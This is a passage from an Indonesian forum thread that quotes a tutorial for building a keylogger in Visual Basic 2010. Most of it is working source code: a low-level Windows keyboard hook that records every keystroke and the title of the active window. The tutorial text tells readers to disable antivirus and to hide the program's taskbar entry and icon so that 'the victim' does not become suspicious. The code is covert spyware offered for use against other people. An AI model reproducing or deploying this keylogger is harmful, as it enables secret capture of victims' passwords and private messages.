TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "9"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + "0"
ElseIf Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "a"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "b"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "c"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "d"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "e"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "f"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "g"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "h"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "i"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "j"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "k"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "l"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "m"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "n"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "o"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "p"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "r"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "s"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "t"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "u"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "v"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "w"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "x"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "z"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = False Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "!"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "@"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "#"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "$"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "%"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "^"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "&"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "*"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "("
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + ")"
ElseIf Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "A"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "B"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "C"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "D"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "E"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "F"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "G"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "H"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "I"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "J"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "K"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "L"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "M"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "N"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "O"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "P"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "Q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "R"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "S"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "T"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "U"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "V"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "W"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "X"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "Z"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & "<"
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "_"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "{"
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "}"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "|"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ":"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & ">"
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "~"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & Label1.Text
End If
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If strin <> GetActiveWindowTitle() Then
TextBox1.Text = TextBox1.Text + vbNewLine & "[------" & GetActiveWindowTitle() & "------]" + vbNewLine
strin = GetActiveWindowTitle()
End If
End Sub
End Class
klo scripts di atas kurang jelas,lihat scripts yg dah ane kirim disini
6) Setelah semua scripts sudah km masukkin,pada pojok kanan atas di kolum Solution Explorer ,kan ada tulisan RieqyNS13-Tutorial,tulisan ini adalah judul dari aplikasi yg agan2 buat tersebut. Klik kanan pada tulisan itu dan kemudian pilih Properties ,kan muncul kotak,trus pilih Debug,Hilangkan centangan pada tulisan Enable the Visual Studio hosting process
untuk lebih jelasnya,lihat gambar berikut :
SS langkah 1 :
[You must be registered and logged in to see this image.]
SS langkah 2 :
[You must be registered and logged in to see this image.]
7) contengan pada kotak kecil di tulisan tersebut sebaiknya dihilangkan,karena pas waktu proses debuger nanti akan macet,jadi centangannya diilangin aja
7) Tinggal dicoba, TAPI pas dicoba ada pesan kaya gini :
[You must be registered and logged in to see this image.]
jangan kuatir,itu ga' ngaruh kok.. jika muncul pesan kaya gitu pas lagi proses Debugger,mending langsung simpan aja dgn Save All. bsa gk ksih video'a gan? video'a hrs jelas bru aq bsa buat'a pls gan msih newbie aq neh | |
| | | | heineken
Warga Lama
Jumlah posting : 107
Join date : 2011-01-26
Age : 26
Lokasi : Lubang Semut
| | Subject: Re: Tutorial buat keylogger sendiri dengan Visual Basic 2010 Sun Jul 31, 2011 2:52 pm | |
| - aprianta_surbakti wrote:
- RieqyNS13 wrote:
- membuat keylogger sendiri pasti seru ,karena bisa dibuat untuk menjaili teman,kaya' ngerekam tulisan apa aja yg diketik...
komponen VB 2010 :
1) 1 Timer
2) 1 TextBox
3) 2 Label
=========
Aplikasi ini terdeteksi sebagai virus,jadi antivirusnya di disable dulu
1) Susun dan ganti Nama komponen diatas seperti gambar dibawah ini :
[You must be registered and logged in to see this image.]
1.5) Klik 1 kali pada Form1 ,dan kemudian pada kotak Properties(pojok kanan bawah) cari tabel ShowInTaskBar,dan ganti menjadi False. lihat gambar berikut :
[You must be registered and logged in to see this image.]
2) Klik 1 kali lagi pada Form1 dan pada kotak Properties(pojok kanan bawah) cari tabel ShowIcon,dan ganti menjadi False.
gunanya untuk menyembunyikan icon pada saat keylogging dibuka,agar si korban tidak curiga
[You must be registered and logged in to see this image.]
3) Setelah itu,klik 2 kali pada Form1 atau tekan F7,dan km akan liat scripts kaya gini :
- Code:
-
Public Class Form1
End Class
4) Scripts kaya diatas kita hapus semua,maka tampilan pengcodean akan kosong berwarna putih persih
5) Setelah scripts kaya diatas dah dihapus semua,masukkan scripts berikut :
- Code:
-
Public Class Form1
Public Class KeyboardHook
Private Const HC_ACTION As Integer = 0
Private Const WH_KEYBOARD_LL As Integer = 13
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105
Private Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scancode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure
Private Declare Function SetWindowsHookEx Lib "user32" _
Alias "SetWindowsHookExA" _
(ByVal idHook As Integer, _
ByVal lpfn As KeyboardProcDelegate, _
ByVal hmod As Integer, _
ByVal dwThreadId As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" _
(ByVal hHook As Integer, _
ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function UnhookWindowsHookEx Lib "user32" _
(ByVal hHook As Integer) As Integer
Private Delegate Function KeyboardProcDelegate _
(ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Public Shared Event KeyDown(ByVal Key As Keys)
Public Shared Event KeyUp(ByVal Key As Keys)
Private Shared KeyHook As Integer
Private Shared KeyHookDelegate As KeyboardProcDelegate
Public Sub New()
KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
End Sub
Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
If (nCode = HC_ACTION) Then
Select Case wParam
Case WM_KEYDOWN, WM_SYSKEYDOWN
RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
Case WM_KEYUP, WM_SYSKEYUP
RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
End Select
End If
Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
End Function
Protected Overrides Sub Finalize()
UnhookWindowsHookEx(KeyHook)
MyBase.Finalize()
End Sub
End Class
Private WithEvents kbHook As New KeyboardHook
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Dim strin As String = Nothing
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function
Sub shiftandcaps(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown
If My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = False Then
If Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "a"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "b"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "c"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "d"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "e"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "f"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "g"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "h"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "i"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "j"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "k"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "l"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "m"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "n"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "o"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "p"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "r"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "s"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "t"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "u"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "v"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "w"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "x"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "z"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.NumPad0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.NumPad1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.NumPad2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.NumPad3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.NumPad4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.NumPad5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.NumPad6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.NumPad7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.NumPad8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.NumPad9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "A"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "B"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "C"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "D"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "E"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "F"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "G"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "H"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "I"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "J"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "K"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "L"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "M"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "N"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "O"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "P"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "Q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "R"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "S"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "T"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "U"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "V"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "W"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "X"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "Z"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text & "9"
